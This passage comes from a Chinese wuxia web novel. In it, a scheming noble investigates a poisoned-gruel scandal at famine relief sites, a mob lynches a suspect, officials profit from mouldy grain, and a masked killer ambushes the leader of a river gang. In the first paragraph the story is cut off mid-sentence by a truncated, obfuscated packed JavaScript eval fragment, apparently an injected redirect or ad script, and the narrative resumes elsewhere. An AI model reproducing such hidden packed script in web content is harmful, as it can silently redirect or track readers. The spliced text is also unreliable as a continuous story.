的确,叶景行在龙王庙遇险,回来香堇看到伤口都变了脸色,咬牙切齿要去报仇,都被叶景行喝止了:“这种江湖匪类虽有小恶,却无大罪,杀?你杀得过来吗?” 红花会以前是江上对过路渔民商船抽头儿的水上帮派,今年才上岸发展,怎么一下就敢对赈灾的粥下手呢? “公子,我已经查得清楚,朝廷赈灾之前,城外除了几个官家的粥棚,其余各大行会商会大户的民间粥棚都被红花会收过保护费,他们自称是维护地方平安,维持舍粥秩序,不让其他混混地痞捣乱,待三殿下以来,全部粥棚都是官府派人管理,他们没了进项,所以才铤而走险。” 高远又从怀里掏出一份线报送上去:“有人证明,那个死了全家的老翁,案发之前和案发之后,都跟红花会的人接触过,那个人一直在那附近收保护费,鬓插一朵红色蓼花,见过的人很多,现在却摘了花,做普通人打扮行走在灾民之间。” 叶景行接过线报,却不看,紧盯着他问:“如此简单的标识,难道就不能是有人冒充吗?” “这也简单,属下已经派人盯着他了,抓来一问即可。”高远咧嘴一笑,摩拳擦掌地说,“只要公子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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矮子也知道大事不好,声嘶力竭地扯着嗓子吼叫:“不是毒!是药!是治拉肚子的药!” “放屁!”府兵破口大骂:“舍药这么好的事,不正大光明地做,偷偷摸摸往粥里放,你骗鬼去吧!” 说完又是狠狠一脚,踹在矮子肚子上,矮子疼得蜷缩起来,还坚持吼叫:“是我们水上人家的偏方,大夫不认的,但是真的管用,你们相信我,真的是药啊!” 府兵不耐烦,用刀柄恨恨一击,打掉了他四颗牙,满嘴流血,才提高声音对四周说:“你们看见了吧?这人给粥锅下毒,被我当场抓获!这阵子你们闹的病,都是他搞的鬼!” 轰的一声,流民们炸窝了,能动不能动的都挤到前面来看,还有人出头作证:“对,这个人,不是俺们灾民,成天在附近转悠。” “我看见过他,也不是俺们村的。” “我跟他说过话!他说是江州人,看俺们苦,来帮一把的,原来打着害人的主意!” 声浪越来越大,把那个矮子含糊的声音都给压了下去,愤怒的拳头举起来,狂乱地挥舞着:“打!打死他!就是他害了俺们!” 府兵这下慌了,转而用刀鞘阻拦着众人:“不能打,要送官,查清楚……哎呀!” 几个府兵,平时维持一下舍粥的秩序还行,此刻面对疲倦但满腔怒火的流民压根抵挡不住,节节后退,不小心摔了一跤,把空档让了出来,流民一拥而入,积蓄多日的仇恨终于爆发出来,推倒一切,践踏一切。 叶景行收回手指,帘子飘然落下,他淡淡地吩咐:“回吧,他活不了了。” 矮子就这样死了,无名无姓,尸骨无存,喻枫前去查看的时候对着那一滩已经看不出人形的肉泥烂酱和支棱着的骨架,用最大的毅力抑制住自己呕吐的欲望,转而去一一询问在场的府兵。 老仵作检查完毕,对着她摇摇头,低声说:“都成这样了,哪有证物,下的到底是毒还是药,根本说不清。” 那口加了东西的粥锅早被灾民推翻,又践踏了一万遍,已经和地上的泥土混为一体,完全无法探查。 案子报上去,连相捕头也没别的办法,只能以‘擅自往粥锅里添加异物,触犯众怒,群殴至死’为理由结案。 而之前的命案,此刻也仿佛有了结果,是啊,朝廷特地派皇子来赈灾,怎么会不好呢?出了事,一定是有坏人作祟啊! 只有城外的灾民,每日喝着粥,还是面带菜色,一天比一天提不起力气,本来想得好好的,吃几天饱饭养好了身体,就能回老家去,现在却觉得遥遥无期。 唯一高兴的当属在行宫的叶玟杰,他意气风发地拍着桌子:“我就说本殿下的赈灾方略哪里有不好?怎么会吃死人,都是有人作祟,看,被抓住了吧?苍天有眼能辨忠奸!” 他摆好姿态,煞有介事地训诫手下:“出京之前,我跟你们说过了,此行我是为了救民,不是为了发财,若有想捞钱的念头,不必跟着我!” 王府属官,还有跟着他的四位少爷,都像模像样地躬身答应:“是!我等一心辅助殿下,以完赈灾大业,绝不疏懒,更无贪腐之心。” “唔,那就好,赈灾之事还要你们多费心,善始善终嘛,早点把他们打发回乡,我也好回京复命,这个劳什子地方也待得够了。”叶玟杰说完,挥手让属官下去,只留下四个狐朋狗友。 平西侯刘府的七少爷,最是个混不吝的,挤眉弄眼地建议:“头几天风声紧,只能寡淡着,今天碰到这样的大喜事,不如把万花楼的秀秀姑娘请来乐一乐?” “行吧。”叶玟杰心里痒痒,脸上还要装得淡然,矜持地一点头,“说是花魁,其实也就是这么回事。” 刘七少爷凑近,低声说:“我打听过了,其实这个万花楼啊,能出局子的都是一般货色,外人没见过世面,叫她一声花魁,其实真正天香国色的尤物,都是养在深闺不出门的,只接贵客!万花楼里面还有个地方,叫百花深处,您听听这个名儿,就不俗!里面说不尽的好处,去过的人口风都紧着呐!只说一句‘神仙享受’。” 叶玟杰被他一怂恿,想起秀秀的一颦一笑,柔媚万千,要是有比她还好的,那该是如何光景…… 他们在这里畅想,另两位年长的少爷已经互相使了眼色,悄悄从侧门退了出去。 在长廊上走了一截,眼看四下无人,急躁的那个抢先质问:“老范,都是你,找的什么粮商,差点惹出大祸事来!” 他对面就是那天给叶景行打圆场的人,气定神闲地一笑:“所以说三殿下龙气旺盛,逢凶化吉啊,这还不是真命天子的福气?你们顾家这次是真押对了。” “嘘!小声点。”顾少爷差点上去捂嘴,左顾右盼才说,“皇上春秋鼎盛,说这种话是找死呢?我也不想别的,辛苦出京一趟,只想……” 他猥琐地做着手势,老范不屑地把手放在他掌上重重压下:“放心吧,这一次若没有五万两入账,你只管撕了我的脸皮放地上踩。” “要不都说你是小财神呢,没想到赈个灾,吃好喝好玩得好,还有银子进账。”顾少爷眉开眼笑,又回头瞥了一眼行宫正殿,一撇嘴:“他不要发财,我们可是要的。” 想想不放心,他又叮嘱:“告诉你那亲戚,也不能太黑心了,发霉的粮食少掺一点,别又弄死人。” “怕什么,那群贱民,风吹雨淋,饿疯了逮到什么都往嘴里塞,怎见得就是吃粥吃死的?再出事,就再找个替死鬼嘛,多大事儿啊,走走走,还有外地的粮商排队等着给我们送钱哩。” 五月初一,风和日丽,前面鸿宾楼的后厨包了粽子提前给住店的客人们贺节,陶陶升了个小茶炉子慢火蒸着,甜甜的香气一阵阵地弥散在小院里,显得一片平安静好。 江潮生擦完了青石板地,又端了一盆水,半蹲在地上,仔仔细细拉着一盆栀子花的叶片擦来擦去。 他正忙碌着,眼睛余光看到白色锦衣的下摆一角,叶景行不知道什么时候走到他身边,低头看着他,说了一句:“擦得挺干净。” “公子要赏花吗?”江潮生受宠若惊,手下更卖力了,一不小心把叶子给拽了下来。 尴尬地笑了笑,江潮生把叶片藏在手里,只听叶景行漫不经心地问:“你在地方上厮混的时候,可曾听过红花会的名字呢?” 就这一句,江潮生明白,红花会要完蛋了。 不管现在的公道堂是真是假,但判仙笔实打实的一旦出现必见血,喻东升已经用自己的命做了证明,且此刻江洲城关于毒粥的谣言甚嚣尘上,叶景行向他询问红花会,总不会是为了好奇八卦。 江潮生不得不在心里再次提醒自己,面前的人,是自己童年唯一的朋友唐景行,但更是一个冷漠的杀人利器。 “公子,小的是良民啊!可不清楚什么红花会黑花会的。”江潮生习惯性地狡辩,却被廊下做针线的陶陶声音清脆地揭穿:“阿生,当着公子你还敢撒谎!你不就是被什么朱老大追杀,才卖身到香堇姐姐跟前吗?” 叶景行没说话,清凌凌的双眼盯着江潮生,后者硬着头皮解释:“红花会的杨舵主从前是做水上生意的,江洲城上五百里水面下五百里水面都是他的地盘,最近一年听说人太多了,要上岸讨生活,先收拢码头,再往城里铺陈,手段……是强硬了些,他们做水上生意的人都这样,好像浑身都带着一股水里的阴寒之气,狠得不要命。” 他说完,小心地看着叶景行的脸:“公子怎么问这个?” 叶景行把眼神从他身上移开,看着天空莫名其妙地说了一句:“快到端午节了啊。” 那就在端午节之前,把这个毒瘤给挖了吧。 他想起昨天香堇探回来的情报,香堇和高远一向不合,互相拆台,他乐见其成,毕竟下属太过亲密就有可能架空他这个主子,这一点,很小的时候叶晟就教过他了。 但香堇这次的情报却和高远基本吻合,红花会野心勃勃,图谋甚大,早在叶玟杰还没抵达江洲城的时候,就开始在灾民里笼络人心,用草药偏方治病,有什么困难也帮扶一把,但该收的保护费也不含糊,用他们自己的话说就是‘钱要收,事要干’。 而香堇带回来的最重要的一条消息,是红花会手里有盐! 五月初□□和日丽,诸事皆宜。 天气好,众人也都有了兴头,叶景行应邀去观看龙舟比赛,纪知府也是苦中作乐,想大张旗鼓地冲淡一下前阵子灾民毒粥导致的愁云惨淡。 香堇和高远自然是要随行的,江潮生却请了假,说兄弟的面摊开张,他要去贺喜吃面,于是留下长寿看家,一群人满面春风地各自出门。 江潮生倒不是托词,张发财得了二十四两银子,兴兴头头地找人置办了挑子炉灶桌凳,特地选了离十字街头不远的巷子里,让张家面摊的幌子重又飘了起来。 江潮生赶到的时候,已经有客人吃上了,蒸汽袅袅中,张发财的胖脸喜气洋洋,动作麻利地下面盛面,声音都比平时高了三分:“小江哥,你坐!马上到你。” “自家兄弟,着什么急。”江潮生围着小摊子转了转,“还记得那边的瞎老头,皮匠大叔,都是早年一起混地面的,你也该给他们送一碗去。” “还用你说,头汤面就孝敬他们了。”张发财夸耀:“吃了都说我的手艺跟我爹一样呢!我想好了,等赚了钱,我就赁个铺面开店!” 江潮生攀着他的肩膀,笑嘻嘻地捣他一下:“开了店,就可以请阿水姑娘过来当老板娘了?” 他正哈哈大笑,一转头看见熟悉的蓝衣皂靴,顿时噤声。 喻枫身着官服挎着单刀,正冷着一张俏脸看着两人:“我给的二十四两银子赁个店面绰绰有余,原来是花在姑娘身上了?” 张发财一缩脖子赔笑:“没有没有,只坐了一会儿,喝了杯茶。” 江潮生见势不妙,赶紧岔开话题:“还不快给喻捕头捞碗面,以后你在地头上混,还要多多仰仗喻捕头关照呢!” 张发财赶紧抽过抹布,细细地又把凳子桌子擦了一遍:“喻捕头请坐。” 喻枫冷哼一声要走,看了看江潮生又停下:“也给他一碗,算我账上。” “哎呀这怎么好意思。”江潮生嘴上说着,人已经在凳子上坐好,拍着桌子喊,“胖子,给我来大碗的!” 喻枫在他旁边坐下,谨慎地四下看了看,正好此刻锅盖一掀,面汤热气蒸腾,遮蔽了他两人的身影,才掩住嘴小声说:“你有没有认识的人手,就像上次给我传信的小乞儿一样的?我想找几个人去盯着福禄钱庄。” 江潮生神色古怪地盯着她,伸出三根手指暗示地搓了搓。 喻枫没好气地从袖子里掏出一块碎银子放在桌上一推,江潮生闪电般地收起,还感慨:“像喻捕头这样出手爽利的官爷不多了.放心,保证给你办好,说!要盯谁?” “几个粮商,还有三殿下身边的幕僚,尤其是一个姓范的。”喻枫把几个人的样貌特征简单说了说,却见江潮生不解地挠头:“你查这个做啥?不是都说毒粥案是红花会的人干的么?难道还真是粮食的问题?你还怀疑殿下?” 喻枫目光清澈地看着他:“你觉得呢?” “哎,我跟红花会其实有宿怨的,他们水鬼行事都很凶。”江潮生小声嘀咕,“那一边可是皇子,朝廷的人,该信谁,很明显的吧?” “你混地面上的,跟帮派有宿怨那不是很正常,挨过打吧?倒也不必这么落井下石。”喻枫见张发财端着面过来,信手拿过筷子挑面,“虽然不知道你为什么要赖在叶景行身边,但也比在街上当个混混强。” 她吃了一口,眼睛一亮:“味道还不错!你看,你这个兄弟都有产业了,你也该想想以后。” 江潮生讪笑着,也接过自己的面碗:“我之前到底也帮过你的忙,在喻捕头的眼里,我总该不是一坨臭河泥了吧?” “嗯,是条泥鳅了。” 江潮生心里有事,唏哩呼噜地把面吞了进去,看得喻枫直皱眉头,又见他吃完了匆忙起身要走,不禁多问了一句:“急急忙忙的,干什么去?” 一回头,江潮生露齿而笑,混不吝地说:“小泥鳅吃饱了当然钻个洞睡觉去,难道去翻江倒海吗?” 7. 第六章 两支判仙笔 入夜时分,枫桥渡口。 这里本来是个极热闹的渡口,每日人来船往,川流不息,但二十几年海龙帮在此跟人火并,一把火烧得面目全非,还留下若干尸体,现场惨烈无比,此后所有船只人马无不绕路躲避,渐渐败落下来,成了无人野渡。 此时的月亮弯弯,挂在夜空犹如女子峨眉一般,清冷的银光洒落下来,照着一队疾行的人。 他们像是常来常往,就算在断壁残垣的老渡口里行走,步伐也丝毫不乱,所有人都是一身短打,布巾包头,耳边插着一朵鲜红的蓼花。 为首的中年人目光炯炯,神色阴戾,不时环顾四周,抬头看了一眼天色,突兀地停下了脚步。 他身后的壮汉立刻警惕起来,趋前低声问:“舵主,可有什么不妥?” 杨顺水摇摇头,转身看着面前被野草遮蔽了大半的残破建筑,神色中竟有几分怀念:“此地原来是个城隍庙,我早年跑船的时候,路过都要烧一炷香。” 像他们这样做刀头舔血的营生,求神拜佛似是有些可笑,壮汉大为不解,但也顺着说:“来都来了,舵主若是有意……” “那倒不必,我拜的不是泥胎木塑,是这后面的公道堂。”杨顺水对身后好奇的会众们难得地笑了笑,“你们都不知道吧,当年若不是公道堂出手相助,邓老大早就被巨鲸帮弄死了,还轮得到他后来当海龙帮的帮主。” 会众们七嘴八舌地议论了起来:“就是前阵子把赃王喻东升杀了的公道堂?那说书先生讲的都是真的?公道堂真的是江湖中专门抱打不平的组织?” 夜风袭来,草木摇曳,树叶子哗啦啦地响着,衬着荒村野庙,倒塌得只能看出个形状的神像,杨顺水没来由地觉得一阵寒意,他为了提振精神,特地提高了声音:“不错,公道堂行事,自然是人人服气的。” 他话音未落,一个清冷的声音就从不远处响起:“既然如此,我今天来取你的命,你也是心服口服了?” 也许是经得多了,会众们并不惊慌,飞快地抽出背后短刀长刃,就地散开,警惕地把杨顺水围护在中间。 杨顺水手揣在袖子里,更是连武器都没亮出来,只是冷笑着说:“哪个道上的朋友?现身一见吧!杨某人这辈子挡的财路多了,又是谁想杀我?” 一道黑影从树梢飘然而落,轻盈如落叶,在场众人刚看到是一个身着黑衣头戴面罩的人,来人脚尖在地面一点,轻灵如风,直冲被围在人群中间的杨顺水而去,手腕一翻,一杆黑色笔形武器带着闪烁金沙的光芒,已经到了面前。 “判仙笔?!”杨顺水勃然变色,惊呼出声,双手齐出,露出一对寒光必现的分水峨眉刺,他不敢大意,使出浑身解数,舞得风雨不透护住了全身。 而红花会的其他帮众,看到敌人鬼魅一般直击舵主而去,齐声发出一声怒喝,竟不约而同地用肉身去抵挡在杨顺水面前。 弦月如勾,而判仙笔的锋芒也如夺命勾,叶景行明月诀全力发动,真气灌注之下,判仙笔金星烁烁,带动残影犹如漫天星河垂落,每一粒金芒落下,都带起一簇血花溅落。 电石火光之间,叶景行掠过人群,敛袖凝神站在倒塌的神像上方,脚踩着依稀还留存有斑驳油彩的城隍大头,一双眼睛黑瞋瞋地看向场中。 而此时的红花会成员,一大半挂彩,更有重伤的已经倒地翻滚,发出压抑的痛呼,杨顺水本人都不能幸免,左臂上一个血洞,鲜血沿着手掌淋漓滴下,手里的峨眉刺又湿又滑,需要更大力气才能握紧。 杨顺水脸色苍白,先是扫了一圈自己受伤的属下,又把目光投向站在高处的黑衣人,咬牙问:“你真是公道堂的人?!” “当然。”叶景行颔首,“你认不得这杆判仙笔吗?” 杨顺水瞪着他,早已模糊的记忆慢慢浮上心头,当年他不过是海龙帮一个小小的水手,跟着邓老大跟巨鲸帮火并的时候,腿肚子都打转,看着被火海包围的枫桥渡,只觉得自己就要死在这里了。 那时候,也是一个黑衣人,戴着面具,手里的黑金笔划过夜空,劈开火海,带着璀璨金芒掠过……一举击杀了巨鲸帮的帮主和四大高手。 他感激涕零,他铭刻于心,唐无双被官府剿灭,悬头示众的时候,他还在岛上远远地跪下向江洲城方向磕了三个头。 但从来没有想到!有一天,公道堂会来要他自己的命! 杨顺水声音沙哑地开口:“我自认不是什么好人,但也没有作恶多端到需要公道堂出面铲除的地步……公道堂要杀人,总该给个理由!” “为了一己之私扰乱赈济,竟敢在灾民的粮食上做手脚,不是你?” 杨顺水气血上涌,一张嘴声音里都带上了血腥气:“当然不是我!红花会的弟兄都是穷人出身,没有人比我们更知道挨饿是什么滋味!那些灾民……那些灾民不是我们红花会在暗中抚慰,尽力帮助,他们早就不知道死了多少,还等得到朝廷的赈济!” 叶景行冷笑一声:“狡辩!你们欺行霸市,对各家粥铺都收黑钱,自从官府设立粥棚,坏了你们的财路,你们竟敢在粥里下毒,祸害那些无辜百姓,还说不是你们!?” 杨顺水一怔,还没说话,一直跟在身边的壮汉却两眼血红,嘶声喊了起来:“那不是毒!那是加了粗盐的草药!人不吃盐会病,还会死!我兄弟是好心,没想到……灾民受了挑唆……” 他声音哽咽,说不下去了,却跨前一步,挡在杨顺水面前,毫不畏惧地说:“什么狗屁公道堂!我们红花会兄弟的公道谁来给?你凭什么说是我们干的?” 叶景行丝毫不为所动,反而像早已料到一样点了点头:“盐?私盐罢?那我知道了。” 他掌中判仙笔突然旋转起来,粒粒金芒在月光下闪出不详的凶光,杨顺水心里一凛,转身对着会众大喊:“跑!跑出去一个是一个!” 话音未落,他就看到黑衣人犹如一只巨大夜枭腾空而起,判仙笔挥舞之下,无边杀气铺天盖地笼罩下来:“暴雨梨花深闭门!” 一时间,满场皆是痛呼怒骂之声,血腥味扑鼻而来,纵然有几个人听从了杨顺水的话,转身想跑,都被判仙笔的攻势所罩,身上飙出数道血花,生死不知地倒在地上。 而杨顺水本人勉力挥舞着峨眉刺抵挡,却依然只能眼睁睁地看着黑衣人衣袖一甩,那金芒在眼前化成一道星河,自天而降,映照在他惊慌愤怒的双眸中。 突然!满天星光乍灭,这道垂落的银河被人硬生生地截住,就在杨顺水眼前,两根一模一样的判仙笔呛然相击,对在了一起。 势均力敌! 杨顺水几乎以为自己是死了,看到的是幻觉。 世间只有一个公道堂,只有一杆判仙笔,什么时候出现了两个? 他情不自禁地揉揉眼睛,再看的时候,才看清执笔的也是个黑衣人,短衣打扮,黑巾遮面,看着比先头那一个要潦草一些,但他手执黑金笔,挡在自己身前的样子实在是符合自己记忆中的那个男人。 叶景行比杨顺水还要震惊,他看着这个莫名出现的黑衣人,厉声喝道:“何方小贼,竟然敢冒充公道堂!?” “哎,这话就错了,公道自在人心,你可以是公道堂,我也可以是公道堂,怎么算是冒充呢?”第二个黑衣人没露真面目,声音却十分讨打,“不信你看看,我也有判仙笔哦。” 两杆判仙笔在杨顺水面前全力相抵,他把眼睛都快眨瞎了也看不出区别。 叶景行不知道想起了什么,心里突然细细地刺痛了一下,他冷笑道:“笔可以伪造,武功却不能,不管你是谁,今天杨顺水我杀定了!不在乎多你一个!” “有话好好说嘛!你要杀他,总该给他一个辩驳的机会,公道堂不是这么做事的……哎!别偷袭啊!” 叶景行哪里会理会他的胡言乱语,运行明月诀,真气大涨,带动判仙笔在掌心飞起,正是雨花笔法开门第一式:急把银河倾做雨! 这一式,先声夺人,攻势磅礴,凡是使出来就很少有人能躲过,少不得要血溅当场。 理智告诉他要留个活口,细细拷问这个小贼手里的判仙笔是哪里来的,但一股狂怒已经袭上心头,让他不管不顾,只想把眼前两个人就地正法! 万万没想到,他的笔离掌的一瞬间,对面的人也使出了一模一样的招式! 无数金芒构成了天罗地网,交相辉映却又彼此对抗,势均力敌之下杨顺水惊愕地瞪大了眼睛,喃喃地说:“竟然连唐无双……都有两个?” “你找死!”叶景行急怒交加,不等招式变老,拼着真气逆流,笔锋一转,喝道:“白雨跳珠乱入船!” 明月心决全力发动之下,他的笔锋犹如水银泻地,无孔不入,金芒密密麻麻地布满了杨顺水的整个视野,犹如乱雨洒下,无处可逃。 而第二个黑衣人的弱点就此暴露出来,他勉力地挥舞着黑金笔,也使出了下一式:“惊风乱飐芙蓉水!” 但两人外力相当,内功却差的太远,金芒明明灭灭,在叶景行铺天盖地的袭击之下,连勉力支撑都做不到,眼看节节败退,甚至身上都被划伤了好几道,鲜血飞溅。 杨顺水看了一眼身边倒地不起,生死不知的会众,心下怅然,忍不住大喊了起来:“好汉!你快逃吧!” 江潮生咬紧牙关,心里咒骂:我倒是想跑,我跑得了吗? 长这么大,他还是第一次直面雨花笔法的可怕,以前唐无双教他的时候那叫和风细雨,如今在叶景行的手里施展出来,那就是狂风骤雨,他觉得自己像枝头的一片孤叶,随时就被卷进去,割成千疮百孔,死无全尸。 “你快跑!下河!”江潮生拼命挤出空来喊了一句,杨顺水也不废话,爬起来捂着胳膊踉踉跄跄地就往渡口冲去。 他有自信,只要下了水,不管是哪个公道堂,都休想追到他。 “想跑?”叶景行的声音犹如鬼魅一般在耳边响起,手中判仙笔更是金光毕现,向着二人席卷而来,“都留下罢!” 杨顺水首先中招,后心一凉,又一热,鲜血喷涌而出,他向前扑倒在地,只听哧哧几声,又是几道笔锋划过,腘窝筋脉被割断,肘骨也被击碎,双手顿时麻软无比,两根峨眉刺怦然落地,发出清脆的响声。 而江潮生也不好过,叶景行盛怒之下全力施为,又逢残月,明月心决运转到极致,攻势真如倾盆大雨从天而降,把他的退路封得死死的,他拼命闪避,还是挡不住,鲜血飞溅的同时,他因为受伤而身体的反应也缓慢了下来。 糟糕……不应该硬扛的,江潮生心里叫苦。 至少,他应该给喻枫留个信,不然就这么死在枫叶度,连个知道的人都没有。 就在叶景行暴怒之下,要一鼓作气将两人击杀当场的时候,突然!从野草之间飞窜出第三个黑衣人,他露出一张平平无奇的脸,浑身都笼罩在宽大黑袍里,被夜风鼓荡起伏,犹如一只大蝙蝠,从头顶掠过的时候,一股莫名的威压笼罩众人,让叶景行的动作都不由得一顿。 他急忙收回判仙笔,在胸前划了个半圆,严阵以待,没想到来人竟然是虚晃一枪,一手提起江潮生的衣领子用力一抡,顺便一脚踹飞杨顺水,趁叶景行还没反应过来的时候,‘噗通’连声,这两人已经是分头落入了被芦苇遮挡的河水中。 “受死!”叶景行今夜击杀杨顺水接二连三受挫,此刻更是被人从眼皮子底下抢走了目标,森冷眼神一摄,手中判仙笔锋芒锐利,聚成一团金芒,狠狠刺向了第三个黑衣人的后心。 只听噗通一声,黑衣人身形摇晃,后心飙射出一簇血花,还是用最后的力气挣扎着跳下了河。 等叶景行赶到河边,只看见在月光下泛着银光的波澜,流水滔滔而过,先后落水的三个人全都无影无踪。 水急天黑,不管官家还是私人营生,都没有人会冒险在半夜行船,但今天却不一样,夜黑风高之际,一叶扁舟偷偷摸摸地藏在河畔芦苇荡里,顺流而下。 为防行迹泄露,船舱里并没点灯,江潮生只能借着朦胧月光,尽量小心地给两人清洗伤口,撒上金疮药,再用粗布裹扎,只是听到伤者不时发出的闷哼声,还是有些心虚。 “要不说大难不死必有后福呢,我都做好准备当个河漂子沿江而下直达石头城了,没想到二里地不到,芦苇荡里居然有条无主孤船!你们也是命大,今天才有一条活路。” 黑暗中杨顺水嗤笑一声:“后生!我今天就教你个乖,哪里来的什么福。自我接了红花会舵主的位子,江州上下五百里水面,凡有蓼花盛开的地方,就有像这样的保命船,这是我给自己留的后路。” 江潮生手下裹扎的力气加了三分,不出意外地听到杨顺水的闷哼之后才开口讥讽:“杨舵主,有保命船又如何?今天要不是我……和这位英雄,你怕是船都上不去。” 他转向另一侧,在黑暗中摸索着第三人的伤处:“你伤得最重,外伤我帮你包好了,只怕内伤难治,不过你放心,天一亮,等我们回江洲城,我就送你去医馆。” 这个人,不管是什么来头,今夜奋不顾身从叶景行笔下救了他,那就是他的恩人。 “不必啦。”第三人呛咳几声,船舱内的血腥气愈发浓了起来,“我活不了多久了。” 他的手伸过来,紧紧地握住了江潮生的手腕,一阵摸索探查之后,又颓然地垂了下去:“你不行,你不是他……听我一句劝,不管你怎么得到的判仙笔,又怎么会的雨花笔法,赶紧离开江洲,以后不要施展武功,不要让人知道你有判仙笔,那个人,不会放过你的。” “咦,老头,听你的口气,你对判仙笔很熟悉嘛?”江潮生故作好奇地问,“你以前认识拿判仙笔的人?你又怎么知道我不行?” 第三人不吭声了,杨顺水在黑暗中嗤笑了起来:“这还用问,有眼睛的人都能看得出来,你跟那个人根本没法比,不然现在怎么湿漉漉的跟我们躺在一条船上?” “杨舵主,现在公道堂要杀的是你。”江潮生没好气地提醒他,“你现在最好想清楚,明天该怎么活下去。对了,赈灾粥的毒,到底是不是你们红花会下的?大家都在一条船上,你好歹该说句实话。” 黑暗中的两人都沉默了下来,江潮生也终于能腾出手来给自己的伤口涂抹金疮药,他竖着耳朵,终于听到杨顺水叹了口气:“我没有。” 他一想到今夜跟随自己出来的二十个兄弟,白天还生龙活虎,此刻都硬梆梆地躺在枫桥渡口的野草里,心里一阵刺痛。 “不是红花会。”出乎意料的,第三人此时也虚弱地出声,“是粮商和三皇子合谋干的,自从开春滴雨未下,江州本地的粮商就知道旱灾在即,他们大肆收购粮食,预备囤积居奇大赚一笔,仓促之间库房不够,很多都是临时搭就的棚子,但四月开始多雨,他们保管不善,大批粮食霉变,眼看要砸在手里,正好朝廷赈灾,他们就买通了三皇子,把这批霉变的粮食卖给了粥棚。” 他语气平静,所说的内容却犹如晴天霹雳,江潮生怔了半天,虽然他心里也倾向于是粮商作祟,但没想到堂堂皇子殿下居然真的罔顾人命,赚这种黑心钱? “不,不会吧?”他喃喃出声,“粮商不都上公堂自证清白了吗?他们当着大家的面煮了粥来吃啊。” 杨顺水惨笑了起来,笑得伤口都开始疼痛:“笨小子!你懂个屁,这其中的关窍多得很,无商不奸,他们那群人,骗老百姓就跟做戏一样简单。” 江潮生依然不肯相信:“不对啊,那天的粮食是他们在衙役的见证下 从赈灾粮食里随便抽的一袋,当场打开的,没机会做假啊!” 若在平时,杨顺水早就一脚踹过去怒骂:“石头脑袋,自己去想!”但此刻,不知道是刚才死里逃生的庆幸,还是三人此刻的同舟共济,都让他的心情有了些变化。 想他自从八岁第一次登船做最下等的苦力,到现在成为红花会统领几千人的总舵主,其中多少次生死之间,但都抵不过刚才那一笔抹过夜空的锋锐金芒那么凶险。 “相逢也是有缘,也罢,今天我就把看家的东西送给你。”杨顺水叹息着,从袜筒里摸出了一根铜管,摸索着塞到了江潮生手里。 江潮生接过,侧身借着舱外月光看了一眼,铜管长约四五寸,粗如拇指,一头浑圆,另一头则做成斜的尖形,其内中空,但一眼望穿并无什么机关。 “这是?兵器?放血的还是?”江潮生翻来覆去地打量。 杨顺水盯着他手里的铜管,冷笑道:“你怕是没见识过,我当年是做押船生意起家的,最赚钱的你知道是什么吗?” “金银财宝呗?压秤,偷一点就够花了。” “错!最赚钱的是盐!”杨顺水拿过铜管,给他示意,“我们每个人身上都有这样一根管,竹子所制,趁官差不注意,往袋子里这么一插,那白花花的盐就顺着管子流出来,等装得差不多了,再将管子一抽……哼哼哼。” 他盯着江潮生恍然大悟的脸,嘲笑道:“赈灾是大事,就算粮商买通了皇子,纪知府少不得也会派人抽查,粮商不是傻子,他们当然不敢就这么把发霉粮食装袋,查出来那不是找死吗?把霉变的粮食藏在下面,上面覆盖的都是正常粗粮,当堂拿来熬粥有什么吃不得的?” 说着他做势将铜管狠狠向下一插:“不信,你去试试,从袋子下面插一管,看流出来的是不是发霉的粮食。” 此时沉默了半天的第三人咳嗽着说话了:“你莫害他,他一个小娃儿,怎么能对抗朝廷势力,你不过就是想让他把事情揭穿,好让公道堂不来找你的麻烦,但你想过没有,他怎么办?” 不等杨顺水辩解,江潮生已经拿过了他手里的铜管,嬉皮笑脸地说:“这种侠肝义胆的好事,小子怎敢居功呐!一定会挂上诸位红花会义士的名头,才敢去衙门举告。” 他收好铜管,又转向黑暗中的第三人:“今晚,杨总舵主是目标,我是来阻止那个人的,你呢?老头,你出现在枫桥渡干啥?现在该我问你了,你是谁?” 黑暗中只有虚弱的喘息声,良久,第三人才嘶哑地说:“将死之人,何必问姓名。” “好,那我换个问法。”江潮生的眼睛在无灯无火的舱内灼灼发光,犹如一头猎犬苦苦追寻终于找到了猎物,“你是当年公道堂的老几?” 一大早,福禄钱庄的门板刚下来,喻枫就昂然而入。 捕快上门,这无论如何也算不上什么好兆头,喻枫单手挎刀,在店堂里转了一圈,看着噤若寒蝉的伙计们缩在一角,才淡淡地开口:“老板呢?” 很快,老板就出来,把她迎入了单间,喻枫大马金刀地坐下,不等老板开口,先发制人地问:“我知道钱庄有个名目叫暗票,不问姓名,不问来历,只要来人出示信物,就能把所托的银票全数交予,你上次看了我那么久,就是等我拿出东西来吧?” 老板深吸一口气,苦笑着说:“喻捕头莫要开玩笑,哪里有什么……” 喻枫从袖袋里掏出手帕包扔在桌上:“我也不知道信物是什么,从小到大,他给我的东西都在这里,你自己挑罢。” 她细白的手指一下一下敲击着桌面,仿佛敲在老板心上,颤抖着掀开手帕,里面的东西杂七杂八,有半旧的平安符,质地一般的玉坠,一串十八子,几朵珠花…… 最终,老板抬起头,轻声说:“不是。” 喻枫此刻心情复杂,似是庆幸,又有些怅惘,她吁出一口气,站了起来,把手帕一收:“打扰了。” “喻捕头。”喻枫正要离开,老板却下定了决心一般,向她伸出手了手:“您刀上挂着的半枚古钱,可否摘下于我一观?” 喻枫愣住了,目光下移,自己的刀柄之上,的确用红绳系了半枚古钱, 这还是喻东升在她洗三当天用红绳拴着系在襁褓上的,后来又挂在她脖子上,说是在京城相国寺附近捡的,能保佑她平安健康。 她后来当了捕快,这半枚古钱就被她随意地拴在了刀上,也算是借了菩萨的光,一直以来,纵然抓贼缉盗遇到过不少危险,但总是能逢凶化吉。 但原来,这居然还是爹给自己留下的钱庄暗票信物? 老板把古钱托在手里,细细观察,又转身离去,不多时,拿来一个盒子,打开之后,将里面的另半枚古钱对上。 分毫不差。 “这里面一共有八万五千两。”老板把手放在盒盖上,微笑着重复喻枫刚才的话:“我们福禄钱庄的规矩,不问姓名,不问来历,只要出示信物,银票全数交付。” 他把盒子往喻枫面前一推:“现在,都是你的了。” 